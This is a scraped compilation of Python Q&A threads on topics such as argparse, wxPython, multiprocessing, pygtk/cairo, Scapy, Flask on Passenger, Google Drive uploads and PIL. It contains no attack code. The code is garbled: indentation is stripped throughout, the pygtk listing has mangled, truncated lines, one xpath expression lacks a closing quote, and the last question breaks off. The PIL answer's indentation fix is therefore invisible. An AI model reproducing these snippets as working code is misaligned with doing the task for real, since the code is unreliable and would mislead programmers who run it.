Question: I'm writing a CLI application in python with is used by means of a rather
elaborate commandline language. The idea is very similar to find(1) which
arguably has the same property.
Currently, the parser is completely handwritten using a handmade EBNF
description language. The problem is that this language is very awkward to use
because I have to write everything as python structures. I also feel that my
program is still way too bloated because of the parsing.
Is there any lib that features ease of use, and a true description language
(input as string/document) for commandline parsing? From the syntax tree, I
would like to directly map each item to a class instance. Naturally, I don't
want a tokenizer, or at least the tokenizer must map straight from commandline
arguments to tokens.
Thanks for all suggestions!
_UPDATE_ : The whole point of my program is to generate objects and pass them
through any number of filters (possibly unpure/effectful actions) that might
or might not output the objects again, or might even output objects of another
type. The general idea is obviously gleaned from find(1). An example
commandline would be:
~/picdb.py -sqlselect 'select * from pics where dirname like "testdir%"' -tagged JoSo -updateFromFile [ -resx +300 -or -resX +200 -resY +500 ] -printfXml '<jpegfile><src>%fp</src><DateTimeOriginal>%ed</DateTimeOriginal><Manufacturer>%eM</Manufacturer><Model>%em</Model></jpegfile>%NL'
Answer: This is a very tricky problem...You can "bind" actions to commandline
arguments using argparse quite easily (e.g. create a class, operate on a
previously created class ...). Here's a silly example of that...(argument
--foo creates an object, argument --bar modifies the object created by --foo).
from argparse import ArgumentParser,Action
class Foo(object):
def __init__(self,*args):
self.args=args
def __str__(self):
return str(self.args)
class FooAction(Action):
def __call__(self,parser,namespace,values,option_string=None):
setattr(namespace,self.dest,Foo(*values)) #Add Foo to the options...
class BarAction(Action):
def __call__(self,parser,namespace,values,option_string=None):
FooObj=getattr(namespace,'foo') #raises an error if foo isn't in namespace...
#In this way, BarAction is like a filter on the
#object created by foo.
FooObj.args=tuple(list(FooObj.args)+list(values)) #append to the list of args.
parser=ArgumentParser()
parser.add_argument('--foo',nargs='*',action=FooAction,help="Foo!")
parser.add_argument('--bar',nargs='*',action=BarAction,help="Bar! : Must be used after --foo")
namespace=parser.parse_args("--foo Hello World --bar Nice Day".split())
print (namespace)
print (namespace.foo)
However, this is a little different from yours in that `-argument` is not
really possible with argparse, only `-a` or `--argument`. That may already be
a deal breaker for you, I'm not sure...
The next difficulty is dealing with the brackets... `[` and `]`. If you can
treat those as arguments to a different commandline option, you might be
OK...You might be able to set up a second parser to parse out the inside
portions -- but I've never tried anything like that before... (If anyone else
has any ideas about how to deal with the brackets, I'd be very interested to
hear them).
As far as `optparse` and `getopt` are concerned, I'm pretty sure that anything
you can do with them, you can do with argparse, which is why I've left them
out of the discussion.
|
wxPython caret move event
Question: What event is called when the caret inside a TextCtrl / Styled TextCtrl has
its position changed? I need to bind the event to show in the status bar, the
current position of the caret.
Answer: Try binding the `wx.EVT_KEY_UP` event with the `wx.TextCtrl` object like this:
import wx
class MyForm(wx.Frame):
def __init__(self):
wx.Frame.__init__(self, None, wx.ID_ANY, "Show Caret Position", size=(400, 140))
panel = wx.Panel(self, wx.ID_ANY)
sizer = wx.BoxSizer(wx.VERTICAL)
text = wx.StaticText(panel, -1, "Text:", (10, 22))
self.textCtrl = wx.TextCtrl(
panel,
-1, "",
(50,5),
size=(250, 50),
style=wx.TE_MULTILINE
)
self.textCtrl.SetInsertionPoint(0)
self.textCtrl.Bind(wx.EVT_KEY_UP,self.onTextKeyEvent)
self.textCtrl.Bind(wx.EVT_LEFT_UP,self.onTextKeyEvent)
self.statusbar = self.CreateStatusBar(1)
panel.SetSizerAndFit(sizer, wx.VERTICAL)
def onTextKeyEvent(self, event):
statusText = "Caret Position: "+str(self.textCtrl.GetInsertionPoint())
self.SetStatusText(statusText,0)
event.Skip()
#Run application
if __name__ == "__main__":
app = wx.PySimpleApp()
frame = MyForm()
frame.Show()
app.MainLoop()
I've tested on `Windows 7` environment with `Python 2.7` \+ `wxPython 2.8`.
|
python multiprocessing pool Assertion Error in interpreter
Question: I am writing a sample program to test the usage of multiprocessing pool of
workers in python 2.7.2+
This is the code i have written in the python ubuntu interpreter
>>> from multiprocessing import Pool
>>> def name_append(first_name,last_name):
... return first_name+" "+last_name
...
>>> from functools import partial
>>> partial_name_append=partial(name_append,'kiran')
>>> partial_name_append('acb')
'kiran acb'
>>> abc='kiran'
>>> pool=Pool(processes=4)
>>> pool.map(partial_name_append,abc)
['kiran k', 'kiran i', 'kiran r', 'kiran a', 'kiran n']
>>> pool.close()
>>> pool.join()
>>> pool.map(partial_name_append,abc)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/multiprocessing/pool.py", line 226, in map
assert self._state == RUN
AssertionError
After i got pickle errors, over my pool of workers code for large data sets, i
am trying to do small examples and try to figure out what is the error.
I dont understand why the same statement 'pool.map' doesn't work, when it has
worked above. I think i have executed the 'pool map' correctly but i dont
understand the reason.
Is this error related to "PicklingError: Can't pickle : attribute lookup
**builtin**.function failed"
Can someone help me out ?
Thanks
Answer: You typed:
>>> pool.close()
[from the
docs:](http://docs.python.org/library/multiprocessing.html#multiprocessing.pool.multiprocessing.Pool.close)
> close()
>
> Prevents any more tasks from being submitted to the pool. Once all the tasks
> have been completed the worker processes will exit.
Of course you can't use the pool anymore, you closed it.
|
How to markup a transparent pygtk pycairo window and save the combined image?
Question: I am trying to develop a transparent window on which I can markup ANYTHING
that is on my screen (including dynamic). My final goal is to overlay graphs
in online scientific publications, click and accumulate points along curves
and eventually use generator functions to curve-fit to the points gathered.
This will include putting up lines and axes, tick marks, and other goodies.
However, I am trying to keep the question code very simple.
The code below does the transparency part fairly well (please criticize and
correct). I have done extensive research to understand how to save the
contents of the transparent window, and failed. I have tried to figure out how
to overlay anything at all (drawing primitives) and failed. I seek any and all
advice to move this project forward, and intend to make the final code open
source.
Please help.
#!/usr/bin/env python
"""
trans.py Transparent window with markup capability.
Goals:
1. make a transparent window that dynamically updates (working).
2. draw opaque points, lines, text, and more (unimplemented).
3. save window overlayed by opaque points to png (unimplemented).
4. toggle overlay on/off (unimplemented).
5. make cursor XOR of CROSSHAIR (unimplemented).
"""
import pygtk
pygtk.require('2.0')
import gtk, cairo
class Transparency(object):
def __init__(self, widget, index):
self.xy = widget.get_size()
self.cr = widget.window.cairo_create()
self.index = index
def __enter__(self):
self.cr.set_operator(cairo.OPERATOR_CLEAR)
self.surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, *self.xy)
self.cr.rectangle(0.0, 0.0, *self.xy)
self.cr.fill()
return self.cr, self.surface
def __exit__( self, exc_type, exc_val, exc_tb ):
filename = '%08d.png' % (self.index)
with open(filename, 'w+') as png:
self.surface.write_to_png(png)
print filename
self.cr.set_operator(cairo.OPERATOR_OVER)
class Expose(object):
def __init__(self):
self.index = 0
def __call__(self, widget, event):
with Transparency(widget, self.index) as (cr, surface):
# cr and surface are available for drawing.
pass
self.index += 1
def main():
x, y = 201, 201
win = gtk.Window(gtk.WINDOW_TOPLEVEL)
win.connect("destroy", lambda w: gtk.main_quit())
win.set_decorated(True)
win.set_app_paintable(True)
win.set_size_request(x, y)
win.set_colormap(win.get_screen().get_rgba_colormap())
win.connect('expose-event', Expose())
win.realize()
win.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.DIAMOND_CROSS))
win.show()
gtk.main()
if __name__ == "__main__":
main()
UPDATE! Got most of what I needed working except the BIG one. How do you save
the image formed by the combination of the underlying window and the
transparent overlay? Points can be layed down and overlay can be toggled using
keyboard only controls in vi-style. Here is the latest source:
#!/usr/bin/env python
"""
trans.py Transparent window with markup capability.
Goals:
1. make a transparent window that dynamically updates (working).
2. draw opaque points, lines, text, and more (working).
3. save window overlayed by opaque points to png (unimplemented).
4. toggle overlay on/off (working).
5. make cursor XOR of CROSSHAIR (using pixel-wise crosshair instead).
6. enable keyboard input in original emacs function table style (working).
"""
import pygtk
pygtk.require('2.0')
import gtk, cairo
from math import pi
class Transparency(object):
index = 0
def __init__(self, widget):
self.xy = widget.get_size()
self.cr = widget.window.cairo_create()
self.storing = False
def __enter__(self):
self.cr.set_operator(cairo.OPERATOR_CLEAR)
self.surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, *self.xy)
self.cr.rectangle(0.0, 0.0, *self.xy)
self.cr.fill()
return self.cr, self.surface
def __exit__( self, exc_type, exc_val, exc_tb ):
if self.storing:
filename = '%08d.png' % (Transparency.index)
with open(filename, 'w+') as png:
self.surface.write_to_png(png)
print filename
self.cr.set_operator(cairo.OPERATOR_OVER)
Transparency.index += 1
class Expose(object):
def __init__(self, window, xy):
self.keep, self.points, self.bare = False, set(), False
self.window = window
self.X, self.Y = self.xy = xy
self.x1, self.y1 = self.x0, self.y0 = self.xy[0]/2, self.xy[1]/2
self.window.connect("key_press_event", self.key_press_event)
self.window.set_events(gtk.gdk.KEY_PRESS_MASK)
self.window.set_flags(gtk.HAS_FOCUS | gtk.CAN_FOCUS)
self.window.grab_focus()
# function table for keyboard driving
self.function = [[self.noop for a in range(9)] for b in range(256)]
self.function[ord('q')][0] = self.quit # q for quit
self.function[ord('h')][0] = self.lf # h for left (vi-style)
self.function[ord('j')][0] = self.dn # j for down (vi-style)
self.function[ord('k')][0] = self.up # k for up (vi-style)
self.function[ord('l')][0] = self.rt # l for right (vi-style)
self.function[ord('h')][2] = self.lf # h for left (vi-style) with point
self.function[ord('j')][2] = self.dn # j for down (vi-style) with point
self.function[ord('k')][2] = self.up # k for up (vi-style) with point
self.function[ord('l')][2] = self.rt # l for right (vi-style) with point
self.function[ord('.')][0] = self.mark # . for point
self.function[ord(',')][0] = self.state # , to toggle overlay
def __call__(self, widget, event):
self.xy = widget.get_size()
self.x0, self.y0 = self.xy[0]/2, self.xy[1]/2
with Transparency(widget) as (cr, surface):
if not self.bare:
self.point( cr, surface)
self.aperture( cr, surface)
self.positions(cr, surface)
self.crosshair(cr, surface)
def aperture(self, cr, surface):
cr.set_operator(cairo.OPERATOR_OVER)
cr.set_source_rgba(0.5,0.0,0.0,0.5) # dim red transparent
cr.arc(self.x0, self.y0, self.x0, 0, pi*2)
cr.fill()
return self
def position(self, cr, surface, x, y, chosen):
cr.set_operator(cairo.OPERATOR_OVER)
#r, g, b, a = (0.0,0.0,0.0,1.0) if chosen else (0.0,0.0,1.0,0.5)
r, g, b, a = (0.0,0.0,0.0,1.0)
cr.set_source_rgba(r,g,b,a)
cr.rectangle(x, y, 1, 1)
cr.fill()
def crosshair(self, cr, surface):
for dx, dy in [(-2,-2),(-1,-1),(1,1),(2,2),(-2,2),(-1,1),(1,-1),(2,-2)]:
x, y = self.x1 + dx, self.y1 + dy
if 0 0))
def dn(self, c, n): self.newxy(0, +int(self.y1 0), 0)
def rt(self, c, n): self.newxy(+int(self.x1 127 else key
def key_press_event(self, widget, event):
keyname = gtk.gdk.keyval_name(event.keyval)
mask = (1*int(0 != (event.state>k.gdk.; SHIFT_MASK))+
2*int(0 != (event.state>k.gdk.CONTROL;_MASK))+
4*int(0 != (event.state>k.gdk.; MOD1_MASK)))
self.keep = 0 != (mask & 2)
self.function[self.accept(event.keyval)][mask](keyname, event.keyval)
self(widget, event)
return True
def main():
x, y = xy = [201, 201]
window = gtk.Window(gtk.WINDOW_TOPLEVEL)
window.connect("destroy", gtk.main_quit)
window.set_decorated(True)
window.set_app_paintable(True)
window.set_size_request(x, y)
window.set_colormap(window.get_screen().get_rgba_colormap())
window.connect('expose-event', Expose(window, xy))
window.realize()
window.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.DIAMOND_CROSS))
window.show()
gtk.main()
if __name__ == "__main__":
main()
Answer: This does not answer your specific question but I figure: why re-invent the
wheel? My suggestion is that you use an advanced screenshot application like
Shutter to capture windows or selections. Shutter will provide you with a
browseable gallery of your "saved" windows with the ability to edit and web-
publish, as well as automatically storing images in dedicated folders (by
project, desired resolution, etc) according to user defined profiles.
|
Python permutation
Question: How would I accomplish the following in python:
first = ['John', 'David', 'Sarah']
last = ['Smith', 'Jones']
combined = ['John Smith', 'John Jones', 'David Smith', 'David Jones', 'Sarah Smith', 'Sarah Jones']
Is there a method to combine all permutations?
Answer: [`itertools.product`](http://docs.python.org/library/itertools.html#itertools.product)
import itertools
combined = [f + ' ' + l for f, l in itertools.product(first, last)]
|
How do I find the Subsets of given Set in Sage?
Question: I have code that looks like this:
def Z(m,n):
return CartesianProduct(IntegerRange(m),IntegerRange(n))
for v in Subsets(Z(2,2)):
print v
However, when I try to run it, I get the following error:
Traceback (most recent call last):
File "x.py", line 13, in <module>
for v in Subsets(Z(_sage_const_2 ,_sage_const_2 )):
File "/opt/sage-4.8-linux-64bit-ubuntu_10.04.3_lts-x86_64-Linux/local/lib/python2.6/site-packages/sage/combinat/subset.py", line 234, in __iter__
lset = __builtin__.list(self.s)
File "/opt/sage-4.8-linux-64bit-ubuntu_10.04.3_lts-x86_64-Linux/local/lib/python2.6/site-packages/sage/sets/set.py", line 650, in __iter__
for x in self.set():
File "/opt/sage-4.8-linux-64bit-ubuntu_10.04.3_lts-x86_64-Linux/local/lib/python2.6/site-packages/sage/sets/set.py", line 719, in set
return set(self.object())
TypeError: unhashable type: 'list'
What is the canonical way of getting the set of all subsets of an arbitrary
Set?
Answer: `CartesianProduct` returns a list of lists, e.g.:
>>> print list(Z(2,2))
[[0, 0], [0, 1], [1, 0], [1, 1]]
But `Subsets` can't cope with the elements being lists (it converts its
argument to a `set` internally, and a set in Python is implemented as a hash
set, hence the error about "unhashibility"). To fix this, you should convert
the internal lists to tuples:
for v in Subsets(tuple(l) for l in Z(2,2)):
print v
Note that this is using a generator expression (rather than a list
comprehension) to avoid constructing an intermediate list.
(One could also use `map(tuple, Z(2,2))` or `import itertools`
`iterools.imap(tuple, Z(2,2))` in place of the generator expression, but the
solution given above is the most Pythonic.)
|
get image from website
Question: I try to improve a [recipe](http://manual.calibre-ebook.com/news.html) for
[calibre](http://calibre-ebook.com/) and replace the default cover image with
the cover image of the current newspaper issue.
The way to go has something to do with `get_cover_url`
([link](http://manual.calibre-
ebook.com/news_recipe.html#calibre.web.feeds.news.BasicNewsRecipe.get_cover_url)).
There are two problems:
1. The URL of the cover image changes every day.
2. I know virtually nothing about python.
I hope for a solution like this (in pseudo-code):
OPEN URL "http://epaper.derstandarddigital.at/";
coverElement = (SEARCH HTML-ELEMENT "<img>" WITH ID "imgPage2" AND CLASS "page");
coverUrl = (GET HTML-ATTRIBUTE "src" FROM coverElement);
RETURN coverUrl;
Would there be a way to achieve this in python*) (using only python standard
libraries)?
*) Calibre-Recipes seem to be python code
[edit] here's the solution a friend of mine offered:
#!/usr/bin/env python
import urllib
from time import strftime
def get_cover_url(self):
highResolution = True
date = strftime("%Y/%Y%m%d")
# it is also possible for the past
#date = '2012/20120503'
urlP1 = 'http://epaper.derstandarddigital.at/'
urlP2 = 'data_ep/STAN/' + date
urlP3 = '/V.B1/'
urlP4 = 'paper.htm'
urlHTML = urlP1 + urlP2 + urlP3 + urlP4
htmlF = urllib.urlopen(urlHTML)
htmlC = htmlF.read()
# URL EXAMPLE: data_ep/STAN/2012/20120504/V.B1/pages/A3B6798F-2751-4D8D-A103-C5EF22F7ACBE.htm
# consists of part2 + part3 + 'pages/' + code
# 'pages/' has length 6, code has lenght 36
index = htmlC.find(urlP2) + len(urlP2 + urlP3) + 6
code = htmlC[index:index + 36]
# URL EXAMPLE HIGH RESOLUTION: http://epaper.derstandarddigital.at/data_ep/STAN/2012/20120504/pagejpg/A3B6798F-2751-4D8D-A103-C5EF22F7ACBE_b.png
# URL EXAMPLE LOW RESOLUTION: http://epaper.derstandarddigital.at/data_ep/STAN/2012/20120504/pagejpg/2AB52F71-11C1-4859-9114-CDCD79BEFDCB.png
urlPic = urlP1 + urlP2 + '/pagejpg/' + code
if highResolution:
urlPic = urlPic + '_b'
urlPic = urlPic + '.png'
return urlPic
if __name__ == '__main__':
print get_cover_url(None)
Answer: You can use the `lxml` library to extract elements from an HTML document. The
basic framework will look something like this:
import urllib
import lxml.html
fd = urllib.urlopen('http://epaper.derstandarddigital.at/')
doc = lxml.html.parse(fd)
matches = doc.xpath('//img[@id="imgPage2]')
if matches:
print matches[0].get('src')
...however, the URL you've provided does not actually result in a document
with any `<img>` tags. It is almost entirely a bunch of Javascript.
|
Getting variables from Scapy using Python
Question: Hi I need help trying to access elements in what seems to be a tuple that
scapy is returning. The code is below.
ans,unans=sr(IP(dst="www.google.com",ttl=5)/ICMP(),verbose=0)
ans.summary(lambda (s,r): r.sprintf("%IP.src%") )
If I enter Scapy and type both of these commands manually it will return a
single IP address. However I am running it from inside a Python script and
need to store that IP address as a variable. This may be a stupid question and
I am just learning Scapy, but how would I store this IP address as a variable
using scapy? I am wanting to achieve something like the below.
#!/usr/bin/python
from scapy.all import *
ans,unans=sr(IP(dst="www.google.com",ttl=5)/ICMP(),verbose=0)
SourceIP = ans.summary(lambda (s,r): r.sprintf("%IP.src%") )
Answer: If you ever need the value of a layer use the getlayer method. So just change
things to:
ans = sr1(IP(dst="www.google.com",ttl=5)/ICMP(),verbose=0)
address = ans.getlayer(IP).src
There is also another method to if a layer exists that returns true or false.
Here is an example of that one.
if ans.haslayer(IP):
print "Packet has the layer IP"
|
exiting a running command in python
Question: I'm new to python. I'm writing a script that calls a command line tool and
displays the output from the command on the screen. The issue is that after
the command runs it doesn't exit on it's own, it requires manual typing of
ctrl-c to stop and continue on with the rest of the python script. Does anyone
know how I could get it to stop on it's own and continue on with the rest of
the script?
cmd ='./ppshelper -sms "15062929382" warning'
os.system(cmd)
print "SMS sent"
"SMS sent" is not printed until the user presses ctrl-c
Thanks
Answer: Use [`Popen`](http://docs.python.org/library/subprocess.html#popen-objects)
from subprocess import Popen
p = Popen(['/full/path/to/ppshelper', '-sms', '15062929382','warning'])
p.terminate()
|
When attempting to upload a UTF-8 text file to Google Drive with the Google API client for python, I get a UnicodeDecodeError
Question: **This question is still unsolved! Please answer if you know**
**Bug**
I have filed a bug here
[http://code.google.com/p/google-api-python-
client/issues/detail?id=131&thanks=131&ts=1335708962](http://code.google.com/p/google-
api-python-client/issues/detail?id=131&thanks=131&ts=1335708962)
While working on my [gdrive-cli](http://github.com/tom-dignan/gdrive-cli)
project, I ran into this error attempting to upload a UTF-8 markdown file,
using the "text/plain" mime-type. I also tried with "text/plain;charset=utf-8"
and got the same result.
Here is the stacktrace I got:
Traceback (most recent call last):
File "./gdrive-cli", line 155, in <module>
handle_args(args)
File "./gdrive-cli", line 92, in handle_args
handle_insert(args.insert)
File "./gdrive-cli", line 126, in handle_insert
filename)
File "/home/tom/Github/gdrive-cli/gdrive/gdrive.py", line 146, in insert_file
media_body=media_body).execute()
File "/usr/local/lib/python2.7/dist-packages/apiclient/http.py", line 393, in execute
headers=self.headers)
File "/usr/local/lib/python2.7/dist-packages/oauth2client/client.py", line 401, in new_request
redirections, connection_type)
File "/usr/local/lib/python2.7/dist-packages/httplib2/__init__.py", line 1544, in request
(response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
File "/usr/local/lib/python2.7/dist-packages/httplib2/__init__.py", line 1294, in _request
(response, content) = self._conn_request(conn, request_uri, method, body, headers)
File "/usr/local/lib/python2.7/dist-packages/httplib2/__init__.py", line 1231, in _conn_request
conn.request(method, request_uri, body, headers)
File "/usr/lib/python2.7/httplib.py", line 955, in request
self._send_request(method, url, body, headers)
File "/usr/lib/python2.7/httplib.py", line 989, in _send_request
self.endheaders(body)
File "/usr/lib/python2.7/httplib.py", line 951, in endheaders
self._send_output(message_body)
File "/usr/lib/python2.7/httplib.py", line 809, in _send_output
msg += message_body
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe2 in position 4518: ordinal not in range(128)
And the command I had to issue to generate it was:
gdrive-cli --insert README.md "readme file" none "text/plain" README.md
You can get the exact README.md file at the time this problem occurred here,
<http://tomdignan.com/files/README.md>
The relevant code from the SDK examples follows. The parameters going in are
in order:
a service instance, "README.md", "readme file", None (python keyword),
"text/plain", and "README.md"
def insert_file(service, title, description, parent_id, mime_type, filename):
"""Insert new file.
Args:
service: Drive API service instance.
title: Title of the file to insert, including the extension.
description: Description of the file to insert.
parent_id: Parent folder's ID.
mime_type: MIME type of the file to insert.
filename: Filename of the file to insert.
Returns:
Inserted file metadata if successful, None otherwise.
"""
media_body = MediaFileUpload(filename, mimetype=mime_type)
body = {
'title': title,
'description': description,
'mimeType': mime_type
}
# Set the parent folder.
if parent_id:
body['parentsCollection'] = [{'id': parent_id}]
try:
file = service.files().insert(
body=body,
media_body=media_body).execute()
# Uncomment the following line to print the File ID
# print 'File ID: %s' % file['id']
return file
except errors.HttpError, error:
print "TRACEBACK"
print traceback.format_exc()
print 'An error occured: %s' % error
return None
Answer: Traceback:
...
resp = pool.request(method, page, fields = fields)
File "/usr/lib/python2.7/site-packages/urllib3-dev-py2.7.egg/urllib3/request.py", line 79, in request
**urlopen_kw)
File "/usr/lib/python2.7/site-packages/urllib3-dev-py2.7.egg/urllib3/request.py", line 139, in request_encode_body
**urlopen_kw)
File "/usr/lib/python2.7/site-packages/urllib3-dev-py2.7.egg/urllib3/connectionpool.py", line 415, in urlopen
body=body, headers=headers)
File "/usr/lib/python2.7/site-packages/urllib3-dev-py2.7.egg/urllib3/connectionpool.py", line 267, in _make_request
conn.request(method, url, **httplib_request_kw)
File "/usr/lib64/python2.7/httplib.py", line 958, in request
self._send_request(method, url, body, headers)
File "/usr/lib64/python2.7/httplib.py", line 992, in _send_request
self.endheaders(body)
File "/usr/lib64/python2.7/httplib.py", line 954, in endheaders
self._send_output(message_body)
File "/usr/lib64/python2.7/httplib.py", line 812, in _send_output
msg += message_body
UnicodeDecodeError: 'ascii' codec can't decode byte 0x8b in position 181: ordinal not in range(128)
urllib3
filepost.py:
def encode_multipart_formdata(fields, boundary=None):
...
body = BytesIO()
...
return body.getvalue(), content_type
request.py:
def request(self, method, url, fields=None, headers=None, **urlopen_kw):
...
else:
return self.request_encode_body(method, url, fields=fields,
headers=headers,
**urlopen_kw)
def request_encode_body(self, method, url, fields=None, headers=None,
encode_multipart=True, multipart_boundary=None,
**urlopen_kw):
...
if encode_multipart:
body, content_type = encode_multipart_formdata(fields or {},
boundary=multipart_boundary)
...
headers = headers or {}
headers.update({'Content-Type': content_type})
return self.urlopen(method, url, body=body, headers=headers,
**urlopen_kw)
httplib
httplib.py:
def _send_request(self, method, url, body, headers):
...
if body and ('content-length' not in header_names):
self._set_content_length(body)
...
def _set_content_length(self, body):
# Set the content-length based on the body.
thelen = None
try:
thelen = str(len(body))
except TypeError, te:
# If this is a file-like object, try to
# fstat its file descriptor
try:
thelen = str(os.fstat(body.fileno()).st_size)
except (AttributeError, OSError):
# Don't send a length if this failed
if self.debuglevel > 0: print "Cannot stat!!"
if thelen is not None:
self.putheader('Content-Length', thelen)
...
def _send_output(self, message_body=None):
...
if isinstance(message_body, str):
msg += message_body
message_body = None
self.send(msg)
if message_body is not None:
#message_body was not a string (i.e. it is a file) and
#we must run the risk of Nagle
self.send(message_body)
...
def send(self, data):
...
blocksize = 8192
if hasattr(data,'read') and not isinstance(data, array):
if self.debuglevel > 0: print "sendIng a read()able"
datablock = data.read(blocksize)
while datablock:
self.sock.sendall(datablock)
datablock = data.read(blocksize)
else:
self.sock.sendall(data)
My script.py:
#!/usr/bin/env python
from io import BytesIO
data = BytesIO()
print type(data.getvalue()
**$./script.py**
**< type 'str'>**
My solution:
#!/usr/bin/python
from urllib3 import HTTPConnectionPool, filepost
from io import BytesIO, SEEK_SET
pool = HTTPConnectionPool('web')
archive_name = '/var/archives/mock.tar.gz'
fields = {'uploadedfile' : (archive_name, open(archive_name).read())}
value, content_type = filepost.encode_multipart_formdata(fields)
headers = {'Content-Type' : content_type, 'Content-Length' : len(value)}
# or any temporary file. without Content-Length
data = BytesIO()
data.write(value)
data.seek(0, SEEK_SET)
resp = pool.urlopen('POST', '/upload/uploader.php', data, headers)
print resp.status
**$./upload.py**
**200**
**/var/www/upload# ls**
**mock.tar.gz upload.html upload.php**
|
Connect to Database via proxy a python script
Question: I have a python script that connects to a remote MySQL database using the
python library MySQLdb. It works fine but how can I get it to connect through
a proxy that I'm behind when at work. I can connect via the command line in
ssh, but how do I get the python script to use the proxy settings. There
doesnt seem to be any options in the MySQLdb commands for proxy
configurations.
import MySQLdb as mdb
conn=mdb.connect(host='mysite.com',user='myuser',passwd='mypassword',db='mydb')
cursor = conn.cursor()
Answer: I think setting the port on the connect command would work.
conn = mdb.connect(host='slkds.com', port='9000', user='user', passwd='wd', db='my')
or you can set a system proxy for what ever you are running on and then the
scrip will work
|
Slow image processing with Python and PIL
Question: I'm trying to sort the pixels of images in order of RGB values. Being new to
Python i tried this:
from PIL import Image
source = Image.open("source.jpg")
colors = source.getcolors(source.size[0] * source.size[1]) #maxcolor value =256, get all colors with source.size[0] * source.size[1]
pixels = []
for i, color in colors:
pixels.extend(i * [color])
pixels.sort()
new = Image.new('RGB', source.size)
new.putdata(pixels)
new.save("new.png")
It works quiet well for small files around 40x40 pixels. But the goal was to
use it on photos with up to 3000x2000 resolution, i tried running it but after
two hours there was still no end in sight. Can the code be optimized, did i do
something completly wrong or is Python simply not suited for that kind of
task?
Answer: Indentation in Python is key, otherwise you can run code you wouldn't for each
iteration.
Here you are saving your file each time you loop as your image generation is
indented. Instead, try:
from PIL import Image
source = Image.open("source.jpg")
colors = source.getcolors(source.size[0] * source.size[1]) #maxcolor value =256, get all colors with source.size[0] * source.size[1]
pixels = []
for i, color in colors:
pixels.extend(i * [color])
pixels.sort()
new = Image.new('RGB', source.size)
new.putdata(pixels)
new.save("new.png")
|
Can't get Flask running using Passenger WSGI on Dreamhost shared hosting
Question: I'm trying to get a Flask "hello world" application working on a Dreamhost
shared server, following the [instructions on their
wiki](http://wiki.dreamhost.com/Flask), but I'm not having any luck.
My Flask application is the "hello world" one from the [Flask quickstart
guide](http://flask.pocoo.org/docs/quickstart/):
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
app.run()
Which I've got in a file called "hello.py" in a folder called mysite, as per
the DH wiki instructions. My passenger_wsgi.py file is:
import sys, os
INTERP = os.path.join(os.environ['HOME'], 'flask_env', 'bin', 'python')
if sys.executable != INTERP:
os.execl(INTERP, INTERP, *sys.argv)
sys.path.append(os.getcwd())
from mysite import hello as application
I've tried running the commands in a Python console, and last import line
failed until I added the `__init__.py` file to the mysite directory.
When I try and access the website I just get a 500 error (and nothing in the
logs unfortunately, unless they're in logs I can't get to as this is a shared
server...).
As this is the most basic of setups (i.e., copied and pasted from a wiki), I
can't help feeling that I'm missing something really simple. Or perhaps this
isn't possible on a shared server?
Answer: Does answering my own question mean I'm talking to myself?
Anyway - I seem to have fixed it. Rather than find a nice helpful error
message, I went through all the steps again one at a time, and it turns out it
was an import error in the `passenger_wsgi.py` file. As the app is in the
`mysite` subdirectory, the line:
from mysite import hello as application
should have been (and in fact, now is):
from mysite.hello import app as application
And it works. Which is nice.
|
wxPython 2.9 on Mac Os X
Question: I am using Enthought Python Distribution (7.2, 64-bit). It comes without
wxPython (which is quite important). However, wxPython-2.9 seems to support
64-bit Cocoa interface, so I gave it a try. Actually, it all went good: the
command
python build-wxpython.py --osx_cocoa --mac_framework --install
successfully compiled, and even got into EPD site-packages. However, a simple
wxPython code
import wx
wx.App()
fails with the following error:
This program needs access to the screen.
Please run with a Framework build of python, and only when you are
logged in on the main display of your Mac.
Can you give me some advice how to cure this? EPD is clearly a Python
Framework (i.e., looking at /Library/Frameworks/EPD64.framework and
/Library/Frameworks/Python.framework convinces me in it) but this wxPython
build does not know about that. The version of wxPython is 2.9.3.1
Answer: Using a wrapper script like this should setup your environment in such a way
that wxPython works correctly:
#!/bin/bash
# Real Python executables to use
PYVER=2.7
PYTHON=/Library/Frameworks/Python.framework/Versions/$PYVER/bin/python$PYVER
# Figure out the root of your EPD env
ENV=`$PYTHON -c "import os; print os.path.abspath(os.path.join(os.path.dirname(\"$0\"), '..'))"`
# Run Python with your env set as Python's PYTHONHOME
export PYTHONHOME=$ENV
exec $PYTHON "$@"
Just dump it in a file, give it executable permission and use it to launch
your wxPython app instead of the python executable.
|
Is there a way to set the Pygame icon in the taskbar? set_icon() only seem to affect the small icon in the actual window
Question: While running my program the icon I configured with
`pygame.display.set_icon(icon)` displays only in the window. In the taskbar
the default python icon remains the same.
Is there a way to change that?
Source:
import pygame
from pygame.locals import *
import sys, os
import time
pygame.init()
# Load Images
try:
bg = os.getcwd() + '\\images\\background.png'
background = pygame.image.load(bg).convert()
except:
print 'Error: Could not find background.png'
try:
logo = os.getcwd() + '\\images\\logo.png'
c_logo = pygame.image.load(logo).convert()
except:
print 'Error: Could not find logo.png'
try:
about_dialog_infile = os.getcwd() + '\\images\\about_dialog[alpha].png'
about_dialog = pygame.image.load(about_dialog_infile).convert_alpha()
except:
pass
i_icon = os.getcwd() + '\\images\\icon.png'
icon = pygame.image.load(i_icon)
pygame.display.set_icon(icon)
pygame.display.set_caption("Test program")
screenSize =(640,480)
screen = pygame.display.set_mode(screenSize,0,32)
pygame.display.set_caption('My Test Program')
while True:
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
# sys.exit()
if event.type == MOUSEBUTTONDOWN:
check_click(about, event.pos)
screen.blit(background, (0,0))
pygame.display.update()
Answer: I finally figured it out.
As far as I can tell, the only way to actually set that icon in the taskbar is
during packaging.
With pyinstaller for example, you would call `python pyinstaller.py
--icon=icon.ico` Where icon is the icon you want displayed in the task bar.
|
Solving Puzzle in Python
Question: I got one puzzle and I want to solve it using Python.
> Puzzle:
>
> A merchant has a 40 kg weight which he used in his shop. Once, it fell from
> his hands and was broken into 4 pieces. But surprisingly, now he can weigh
> any weight between 1 kg to 40 kg with the combination of these 4 pieces.
>
> So question is, what are weights of those 4 pieces?
Now I wanted to solve this in Python.
The only constraint i got from the puzzle is that sum of 4 pieces is 40. With
that I could filter all the set of 4 values whose sum is 40.
import itertools as it
